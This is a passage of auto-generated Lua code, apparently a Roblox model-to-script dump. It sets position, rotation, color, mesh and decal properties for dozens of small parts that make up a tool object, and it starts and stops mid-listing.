  2159. Part137.CFrame = CFrame.new(27.0914307, 0.69116199, 138.467163, -0.999955833, -0.00823810697, -0.00450787693, 7.35136609e-08, -0.480031699, 0.877250612, -0.00939126313, 0.877211511, 0.480010271)
  2160. Part137.BottomSurface = Enum.SurfaceType.Smooth
  2161. Part137.TopSurface = Enum.SurfaceType.Smooth
  2162. Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2163. Part137.Position = Vector3.new(27.0914307, 0.69116199, 138.467163)
  2164. Part137.Orientation = Vector3.new(-61.3099976, -0.539999962, 180)
  2165. Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2166. SpecialMesh138.Parent = Part137
  2167. SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2168. SpecialMesh138.MeshType = Enum.MeshType.Wedge
  2169. SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2170. Part139.Parent = Tool0
  2171. Part139.Material = Enum.Material.SmoothPlastic
  2172. Part139.BrickColor = BrickColor.new("Black")
  2173. Part139.Reflectance = 0.050000000745058
  2174. Part139.Rotation = Vector3.new(90.1100006, -12, 90.5499954)
  2175. Part139.Anchored = true
  2176. Part139.FormFactor = Enum.FormFactor.Custom
  2177. Part139.Size = Vector3.new(0.330000013, 0.200000003, 0.200000003)
  2178. Part139.CFrame = CFrame.new(26.9669189, 1.213135, 138.983887, -0.00939138234, -0.978104293, -0.207902461, 1.14688889e-08, 0.207911626, -0.978147209, 0.999955058, -0.00918611884, -0.00195264444)
  2179. Part139.BottomSurface = Enum.SurfaceType.Smooth
  2180. Part139.TopSurface = Enum.SurfaceType.Smooth
  2181. Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2182. Part139.Position = Vector3.new(26.9669189, 1.213135, 138.983887)
  2183. Part139.Orientation = Vector3.new(78, -90.5400009, 0)
  2184. Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2185. Decal140.Parent = Part139
  2186. Decal140.Texture = "http://www.roblox.com/asset/?id=65628034"
  2187. Decal140.Face = Enum.NormalId.Bottom
  2188. BlockMesh141.Parent = Part139
  2189. BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
  2190. BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
  2191. Part142.Parent = Tool0
  2192. Part142.Material = Enum.Material.SmoothPlastic
  2193. Part142.BrickColor = BrickColor.new("Brick yellow")
  2194. Part142.Reflectance = 0.050000000745058
  2195. Part142.Rotation = Vector3.new(-151.309998, 0.469999999, 179.73999)
  2196. Part142.Anchored = true
  2197. Part142.FormFactor = Enum.FormFactor.Custom
  2198. Part142.Size = Vector3.new(0.209999993, 0.468000025, 0.239999995)
  2199. Part142.CFrame = CFrame.new(27.0928955, 0.732177973, 138.332642, -0.999955833, -0.00450787693, 0.00823824108, 7.35136609e-08, 0.877250671, 0.480031699, -0.00939126313, 0.480010271, -0.87721169)
  2200. Part142.BottomSurface = Enum.SurfaceType.Smooth
  2201. Part142.TopSurface = Enum.SurfaceType.Smooth
  2202. Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2203. Part142.Position = Vector3.new(27.0928955, 0.732177973, 138.332642)
  2204. Part142.Orientation = Vector3.new(-28.6899986, 179.459991, 0)
  2205. Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2206. BlockMesh143.Parent = Part142
  2207. BlockMesh143.Offset = Vector3.new(0, -0.0419999994, 0)
  2208. BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
  2209. BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
  2210. Part144.Parent = Tool0
  2211. Part144.Material = Enum.Material.SmoothPlastic
  2212. Part144.BrickColor = BrickColor.new("Black")
  2213. Part144.Reflectance = 0.050000000745058
  2214. Part144.Rotation = Vector3.new(90, 0, 165.539993)
  2215. Part144.Anchored = true
  2216. Part144.FormFactor = Enum.FormFactor.Custom
  2217. Part144.Size = Vector3.new(0.200000003, 0.449999988, 0.200000003)
  2218. Part144.CFrame = CFrame.new(26.9614258, 1.28222597, 138.385986, -0.968313754, -0.249736801, -7.44484936e-08, 9.68605463e-08, -7.74534854e-08, -0.999999583, 0.249736413, -0.968312979, 9.9188938e-08)
  2219. Part144.BottomSurface = Enum.SurfaceType.Smooth
  2220. Part144.TopSurface = Enum.SurfaceType.Smooth
  2221. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2222. Part144.Position = Vector3.new(26.9614258, 1.28222597, 138.385986)
  2223. Part144.Orientation = Vector3.new(89.9499969, -36.8899994, 128.649994)
  2224. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2225. CylinderMesh145.Parent = Part144
  2226. CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
  2227. CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
  2228. Part146.Parent = Tool0
  2229. Part146.Material = Enum.Material.SmoothPlastic
  2230. Part146.BrickColor = BrickColor.new("Black")
  2231. Part146.Reflectance = 0.050000000745058
  2232. Part146.Rotation = Vector3.new(0, -0.539999962, 180)
  2233. Part146.Anchored = true
  2234. Part146.FormFactor = Enum.FormFactor.Custom
  2235. Part146.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2236. Part146.CFrame = CFrame.new(27.0931396, 1.06030297, 138.265137, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  2237. Part146.BottomSurface = Enum.SurfaceType.Smooth
  2238. Part146.TopSurface = Enum.SurfaceType.Smooth
  2239. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2240. Part146.Position = Vector3.new(27.0931396, 1.06030297, 138.265137)
  2241. Part146.Orientation = Vector3.new(0, -0.539999962, 180)
  2242. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2243. BlockMesh147.Parent = Part146
  2244. BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  2245. BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  2246. Part148.Parent = Tool0
  2247. Part148.Material = Enum.Material.SmoothPlastic
  2248. Part148.BrickColor = BrickColor.new("Black")
  2249. Part148.Reflectance = 0.050000000745058
  2250. Part148.Rotation = Vector3.new(90, 0, 0.539999962)
  2251. Part148.Anchored = true
  2252. Part148.FormFactor = Enum.FormFactor.Custom
  2253. Part148.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2254. Part148.CFrame = CFrame.new(27.0906982, 0.835205019, 138.562073, 0.999955833, -0.00939106941, -7.51575016e-08, -7.35136609e-08, 1.7538153e-07, -0.999999523, 0.00939126313, 0.999955058, 1.74683436e-07)
  2255. Part148.BottomSurface = Enum.SurfaceType.Smooth
  2256. Part148.TopSurface = Enum.SurfaceType.Smooth
  2257. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2258. Part148.Position = Vector3.new(27.0906982, 0.835205019, 138.562073)
  2259. Part148.Orientation = Vector3.new(89.9399948, -23.2799988, -22.7399998)
  2260. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2261. SpecialMesh149.Parent = Part148
  2262. SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2263. SpecialMesh149.MeshType = Enum.MeshType.Wedge
  2264. SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2265. Part150.Parent = Tool0
  2266. Part150.Material = Enum.Material.SmoothPlastic
  2267. Part150.BrickColor = BrickColor.new("Dark stone grey")
  2268. Part150.Reflectance = 0.050000000745058
  2269. Part150.Rotation = Vector3.new(180, 75.5400009, 90)
  2270. Part150.Anchored = true
  2271. Part150.FormFactor = Enum.FormFactor.Custom
  2272. Part150.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2273. Part150.CFrame = CFrame.new(26.8951416, 1.28222597, 138.124695, -6.36223589e-08, -0.24973698, 0.968313515, -0.999999583, -1.30446693e-07, -9.93476377e-08, 1.5112407e-07, -0.968312979, -0.249736756)
  2274. Part150.BottomSurface = Enum.SurfaceType.Smooth
  2275. Part150.TopSurface = Enum.SurfaceType.Smooth
  2276. Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2277. Part150.Position = Vector3.new(26.8951416, 1.28222597, 138.124695)
  2278. Part150.Orientation = Vector3.new(0, 104.459999, -90)
  2279. Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2280. CylinderMesh151.Parent = Part150
  2281. CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
  2282. CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
  2283. Part152.Parent = Tool0
  2284. Part152.Material = Enum.Material.SmoothPlastic
  2285. Part152.BrickColor = BrickColor.new("Brick yellow")
  2286. Part152.Reflectance = 0.050000000745058
  2287. Part152.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
  2288. Part152.Anchored = true
  2289. Part152.FormFactor = Enum.FormFactor.Custom
  2290. Part152.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2291. Part152.CFrame = CFrame.new(27.0914307, 0.711181998, 138.478333, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031669, -0.877250552, 0.00939126313, 0.877211511, -0.480010271)
  2292. Part152.BottomSurface = Enum.SurfaceType.Smooth
  2293. Part152.TopSurface = Enum.SurfaceType.Smooth
  2294. Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2295. Part152.Position = Vector3.new(27.0914307, 0.711181998, 138.478333)
  2296. Part152.Orientation = Vector3.new(61.3099976, 179.459991, -180)
  2297. Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2298. SpecialMesh153.Parent = Part152
  2299. SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2300. SpecialMesh153.MeshType = Enum.MeshType.Wedge
  2301. SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2302. Part154.Parent = Tool0
  2303. Part154.Material = Enum.Material.SmoothPlastic
  2304. Part154.BrickColor = BrickColor.new("Brick yellow")
  2305. Part154.Reflectance = 0.050000000745058
  2306. Part154.Rotation = Vector3.new(180, 0.539999962, -180)
  2307. Part154.Anchored = true
  2308. Part154.FormFactor = Enum.FormFactor.Custom
  2309. Part154.Size = Vector3.new(0.209999993, 0.200000003, 0.270000011)
  2310. Part154.CFrame = CFrame.new(27.0947266, 0.877197027, 138.41217, -0.999955833, 7.65568586e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -3.24393056e-07, -0.00939126313, -3.2368834e-07, -0.999955058)
  2311. Part154.BottomSurface = Enum.SurfaceType.Smooth
  2312. Part154.TopSurface = Enum.SurfaceType.Smooth
  2313. Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2314. Part154.Position = Vector3.new(27.0947266, 0.877197027, 138.41217)
  2315. Part154.Orientation = Vector3.new(0, 179.459991, 0)
  2316. Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2317. BlockMesh155.Parent = Part154
  2318. BlockMesh155.Offset = Vector3.new(0.00300000003, -0.01425, 0)
  2319. BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
  2320. BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
  2321. Part156.Parent = Tool0
  2322. Part156.Material = Enum.Material.SmoothPlastic
  2323. Part156.BrickColor = BrickColor.new("Dark stone grey")
  2324. Part156.Reflectance = 0.050000000745058
  2325. Part156.Transparency = 1
  2326. Part156.Rotation = Vector3.new(-180, 0.539999962, -180)
  2327. Part156.Anchored = true
  2328. Part156.FormFactor = Enum.FormFactor.Custom
  2329. Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2330. Part156.CFrame = CFrame.new(27.09375, 1.414307, 138.217346, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
  2331. Part156.BottomSurface = Enum.SurfaceType.Smooth
  2332. Part156.TopSurface = Enum.SurfaceType.Smooth
  2333. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2334. Part156.Position = Vector3.new(27.09375, 1.414307, 138.217346)
  2335. Part156.Orientation = Vector3.new(0, 179.459991, 0)
  2336. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2337. BlockMesh157.Parent = Part156
  2338. BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
  2339. BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
  2340. Part158.Parent = Tool0
  2341. Part158.Material = Enum.Material.SmoothPlastic
  2342. Part158.BrickColor = BrickColor.new("Black")
  2343. Part158.Reflectance = 0.050000000745058
  2344. Part158.Rotation = Vector3.new(-180, -89.4599991, -90)
  2345. Part158.Anchored = true
  2346. Part158.FormFactor = Enum.FormFactor.Custom
  2347. Part158.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  2348. Part158.CFrame = CFrame.new(27.0986328, 1.27026403, 138.982239, 7.63110108e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.42566968e-08, -2.18385907e-07, -0.999955297, -0.00939120352)
  2349. Part158.BottomSurface = Enum.SurfaceType.Smooth
  2350. Part158.TopSurface = Enum.SurfaceType.Smooth
  2351. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2352. Part158.Position = Vector3.new(27.0986328, 1.27026403, 138.982239)
  2353. Part158.Orientation = Vector3.new(0, -90.5400009, 90)
  2354. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2355. CylinderMesh159.Parent = Part158
  2356. CylinderMesh159.Offset = Vector3.new(0.00300000003, -0.00300000003, 0.00150000001)
  2357. CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
  2358. CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
  2359. Part160.Parent = Tool0
  2360. Part160.Material = Enum.Material.SmoothPlastic
  2361. Part160.BrickColor = BrickColor.new("Black")
  2362. Part160.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
  2363. Part160.Anchored = true
  2364. Part160.FormFactor = Enum.FormFactor.Custom
  2365. Part160.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2366. Part160.CFrame = CFrame.new(27.0817871, 0.855225027, 139.47522, 0.999955893, -0.00469633937, 0.00813275576, -4.37112533e-08, -0.86598748, -0.500062525, 0.00939150155, 0.500040412, -0.865949214)
  2367. Part160.BottomSurface = Enum.SurfaceType.Smooth
  2368. Part160.TopSurface = Enum.SurfaceType.Smooth
  2369. Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2370. Part160.Position = Vector3.new(27.0817871, 0.855225027, 139.47522)
  2371. Part160.Orientation = Vector3.new(30, 179.459991, -180)
  2372. Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2373. BlockMesh161.Parent = Part160
  2374. BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
  2375. BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
  2376. Part162.Parent = Tool0
  2377. Part162.Material = Enum.Material.SmoothPlastic
  2378. Part162.BrickColor = BrickColor.new("Black")
  2379. Part162.Rotation = Vector3.new(-30.0100002, -0.469999999, 179.729996)
  2380. Part162.Anchored = true
  2381. Part162.FormFactor = Enum.FormFactor.Custom
  2382. Part162.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2383. Part162.CFrame = CFrame.new(27.0822754, 0.845215023, 139.457214, -0.999955893, -0.00469633937, -0.00813275576, 4.37112533e-08, -0.86598748, 0.500062525, -0.00939150155, 0.500040412, 0.865949214)
  2384. Part162.BottomSurface = Enum.SurfaceType.Smooth
  2385. Part162.TopSurface = Enum.SurfaceType.Smooth
  2386. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2387. Part162.Position = Vector3.new(27.0822754, 0.845215023, 139.457214)
  2388. Part162.Orientation = Vector3.new(-30, -0.539999962, 180)
  2389. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2390. SpecialMesh163.Parent = Part162
  2391. SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
  2392. SpecialMesh163.MeshType = Enum.MeshType.Wedge
  2393. SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
  2394. Part164.Parent = Tool0
  2395. Part164.Material = Enum.Material.SmoothPlastic
  2396. Part164.BrickColor = BrickColor.new("Black")
  2397. Part164.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
  2398. Part164.Anchored = true
  2399. Part164.FormFactor = Enum.FormFactor.Custom
  2400. Part164.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2401. Part164.CFrame = CFrame.new(27.0821533, 0.863281012, 139.488281, 0.999955893, -0.00469634682, 0.00813275576, -4.3711136e-08, -0.865985572, -0.500061572, 0.00939150155, 0.500039399, -0.865947366)
  2402. Part164.BottomSurface = Enum.SurfaceType.Smooth
  2403. Part164.TopSurface = Enum.SurfaceType.Smooth
  2404. Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2405. Part164.Position = Vector3.new(27.0821533, 0.863281012, 139.488281)
  2406. Part164.Orientation = Vector3.new(30, 179.459991, -180)
  2407. Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2408. Decal165.Parent = Part164
  2409. Decal165.Texture = "http://www.roblox.com/asset/?id=65628034"
  2410. Decal165.Face = Enum.NormalId.Bottom
  2411. SpecialMesh166.Parent = Part164
  2412. SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
  2413. SpecialMesh166.MeshType = Enum.MeshType.Wedge
  2414. SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
  2415. Part167.Parent = Tool0
  2416. Part167.Material = Enum.Material.SmoothPlastic
  2417. Part167.BrickColor = BrickColor.new("Black")
  2418. Part167.Rotation = Vector3.new(-180, -89.4599991, 120.009995)
  2419. Part167.Anchored = true
  2420. Part167.FormFactor = Enum.FormFactor.Custom
  2421. Part167.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2422. Part167.CFrame = CFrame.new(27.0826416, 0.987304986, 139.373901, -0.00469636917, -0.00813265145, -0.999955893, -0.865986645, 0.500062168, 4.37110863e-08, 0.500039935, 0.865948439, -0.00939150155)
  2423. Part167.BottomSurface = Enum.SurfaceType.Smooth
  2424. Part167.TopSurface = Enum.SurfaceType.Smooth
  2425. Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2426. Part167.Position = Vector3.new(27.0826416, 0.987304986, 139.373901)
  2427. Part167.Orientation = Vector3.new(0, -90.5400009, -60)
  2428. Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2429. BlockMesh168.Parent = Part167
  2430. BlockMesh168.Offset = Vector3.new(0.0149999997, 0.00600000005, 0)
  2431. BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
  2432. BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
  2433. Part169.Parent = Tool0
  2434. Part169.Material = Enum.Material.SmoothPlastic
  2435. Part169.BrickColor = BrickColor.new("Black")
  2436. Part169.Rotation = Vector3.new(-180, -89.4599991, -150)
  2437. Part169.Anchored = true
  2438. Part169.FormFactor = Enum.FormFactor.Custom
  2439. Part169.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2440. Part169.CFrame = CFrame.new(27.0803223, 1.00415003, 139.671265, -0.00813287497, 0.00469574332, -0.999955893, 0.500007033, 0.866016328, 4.37110863e-08, 0.865977883, -0.499984801, -0.00939150155)
  2441. Part169.BottomSurface = Enum.SurfaceType.Smooth
  2442. Part169.TopSurface = Enum.SurfaceType.Smooth
  2443. Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2444. Part169.Position = Vector3.new(27.0803223, 1.00415003, 139.671265)
  2445. Part169.Orientation = Vector3.new(0, -90.5400009, 30)
  2446. Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2447. BlockMesh170.Parent = Part169
  2448. BlockMesh170.Offset = Vector3.new(-0.103500001, 0.032250002, 0)
  2449. BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
  2450. BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
  2451. Part171.Parent = Tool0
  2452. Part171.Material = Enum.Material.SmoothPlastic
  2453. Part171.BrickColor = BrickColor.new("Black")
  2454. Part171.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
  2455. Part171.Anchored = true
  2456. Part171.FormFactor = Enum.FormFactor.Custom
  2457. Part171.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2458. Part171.CFrame = CFrame.new(27.0795898, 0.996093988, 139.719849, -0.999955893, -0.00469574332, -0.00813275576, 4.37111325e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
  2459. Part171.BottomSurface = Enum.SurfaceType.Smooth
  2460. Part171.TopSurface = Enum.SurfaceType.Smooth
  2461. Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2462. Part171.Position = Vector3.new(27.0795898, 0.996093988, 139.719849)
  2463. Part171.Orientation = Vector3.new(-30, -0.539999962, 180)
  2464. Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2465. BlockMesh172.Parent = Part171
  2466. BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
  2467. BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
  2468. Part173.Parent = Tool0
  2469. Part173.Material = Enum.Material.SmoothPlastic
  2470. Part173.BrickColor = BrickColor.new("Black")
  2471. Part173.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
  2472. Part173.Anchored = true
  2473. Part173.FormFactor = Enum.FormFactor.Custom
  2474. Part173.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2475. Part173.CFrame = CFrame.new(27.079834, 0.985107005, 139.702026, -0.999955893, -0.00469574332, -0.00813275576, 4.37111645e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
  2476. Part173.BottomSurface = Enum.SurfaceType.Smooth
  2477. Part173.TopSurface = Enum.SurfaceType.Smooth
  2478. Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2479. Part173.Position = Vector3.new(27.079834, 0.985107005, 139.702026)
  2480. Part173.Orientation = Vector3.new(-30, -0.539999962, 180)
  2481. Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2482. SpecialMesh174.Parent = Part173
  2483. SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
  2484. SpecialMesh174.MeshType = Enum.MeshType.Wedge
  2485. SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
  2486. Part175.Parent = Tool0
  2487. Part175.Material = Enum.Material.SmoothPlastic
  2488. Part175.BrickColor = BrickColor.new("Black")
  2489. Part175.Rotation = Vector3.new(-180, -89.4599991, -180)
  2490. Part175.Anchored = true
  2491. Part175.FormFactor = Enum.FormFactor.Custom
  2492. Part175.Size = Vector3.new(0.779999971, 0.200000003, 0.200000003)
  2493. Part175.CFrame = CFrame.new(27.0797119, 1.07519495, 139.687134, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  2494. Part175.BottomSurface = Enum.SurfaceType.Smooth
  2495. Part175.TopSurface = Enum.SurfaceType.Smooth
  2496. Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2497. Part175.Position = Vector3.new(27.0797119, 1.07519495, 139.687134)
  2498. Part175.Orientation = Vector3.new(0, -90.5400009, 0)
  2499. Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2500. BlockMesh176.Parent = Part175
  2501. BlockMesh176.Offset = Vector3.new(0, 0.00900000054, 0)
  2502. BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
  2503. BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
  2504. Part177.Parent = Tool0
  2505. Part177.Material = Enum.Material.SmoothPlastic
  2506. Part177.BrickColor = BrickColor.new("Black")
  2507. Part177.Rotation = Vector3.new(150, 0.469999999, 0.269999981)
  2508. Part177.Anchored = true
  2509. Part177.FormFactor = Enum.FormFactor.Custom
  2510. Part177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2511. Part177.CFrame = CFrame.new(27.0797119, 1.00610304, 139.738525, 0.999955893, -0.00469574332, 0.00813275576, -4.37111325e-08, -0.86601609, -0.500007153, 0.00939150155, 0.499985039, -0.865977705)
  2512. Part177.BottomSurface = Enum.SurfaceType.Smooth
  2513. Part177.TopSurface = Enum.SurfaceType.Smooth
  2514. Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2515. Part177.Position = Vector3.new(27.0797119, 1.00610304, 139.738525)
  2516. Part177.Orientation = Vector3.new(30, 179.459991, -180)
  2517. Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2518. SpecialMesh178.Parent = Part177
  2519. SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
  2520. SpecialMesh178.MeshType = Enum.MeshType.Wedge
  2521. SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
  2522. Part179.Parent = Tool0
  2523. Part179.Material = Enum.Material.SmoothPlastic
  2524. Part179.BrickColor = BrickColor.new("Brick yellow")
  2525. Part179.Rotation = Vector3.new(0, 89.4599991, 180)
  2526. Part179.Anchored = true
  2527. Part179.FormFactor = Enum.FormFactor.Custom
  2528. Part179.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
  2529. Part179.CFrame = CFrame.new(26.9969482, 1.08422804, 139.881348, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
  2530. Part179.BottomSurface = Enum.SurfaceType.Smooth
  2531. Part179.TopSurface = Enum.SurfaceType.Smooth
  2532. Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2533. Part179.Position = Vector3.new(26.9969482, 1.08422804, 139.881348)
  2534. Part179.Orientation = Vector3.new(0, 89.4599991, -180)
  2535. Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2536. SpecialMesh180.Parent = Part179
  2537. SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2538. SpecialMesh180.MeshType = Enum.MeshType.Wedge
  2539. SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2540. Part181.Parent = Tool0
  2541. Part181.Material = Enum.Material.SmoothPlastic
  2542. Part181.BrickColor = BrickColor.new("Brick yellow")
  2543. Part181.Rotation = Vector3.new(-180, -89.4599991, 0)
  2544. Part181.Anchored = true
  2545. Part181.FormFactor = Enum.FormFactor.Custom
  2546. Part181.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
  2547. Part181.CFrame = CFrame.new(27.1591797, 1.08422804, 139.883057, 0.00939145684, -4.35706298e-08, -0.999955893, 1.4781123e-08, -0.99999994, 4.37113812e-08, -0.999955773, -1.51909649e-08, -0.00939150155)
  2548. Part181.BottomSurface = Enum.SurfaceType.Smooth
  2549. Part181.TopSurface = Enum.SurfaceType.Smooth
  2550. Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2551. Part181.Position = Vector3.new(27.1591797, 1.08422804, 139.883057)
  2552. Part181.Orientation = Vector3.new(0, -90.5400009, 180)
  2553. Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2554. SpecialMesh182.Parent = Part181
  2555. SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2556. SpecialMesh182.MeshType = Enum.MeshType.Wedge
  2557. SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2558. Part183.Parent = Tool0
  2559. Part183.Material = Enum.Material.SmoothPlastic
  2560. Part183.BrickColor = BrickColor.new("Black")
  2561. Part183.Rotation = Vector3.new(0, -0.539999962, 0)
  2562. Part183.Anchored = true
  2563. Part183.FormFactor = Enum.FormFactor.Custom
  2564. Part183.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2565. Part183.CFrame = CFrame.new(26.9984131, 1.12915003, 139.746155, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  2566. Part183.BottomSurface = Enum.SurfaceType.Smooth
  2567. Part183.TopSurface = Enum.SurfaceType.Smooth
  2568. Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2569. Part183.Position = Vector3.new(26.9984131, 1.12915003, 139.746155)
  2570. Part183.Orientation = Vector3.new(0, -0.539999962, 0)
  2571. Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2572. SpecialMesh184.Parent = Part183
  2573. SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2574. SpecialMesh184.MeshType = Enum.MeshType.Wedge
  2575. SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2576. Part185.Parent = Tool0
  2577. Part185.Material = Enum.Material.SmoothPlastic
  2578. Part185.BrickColor = BrickColor.new("Black")
  2579. Part185.Rotation = Vector3.new(-180, -89.4599991, -180)
  2580. Part185.Anchored = true
  2581. Part185.FormFactor = Enum.FormFactor.Custom
  2582. Part185.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
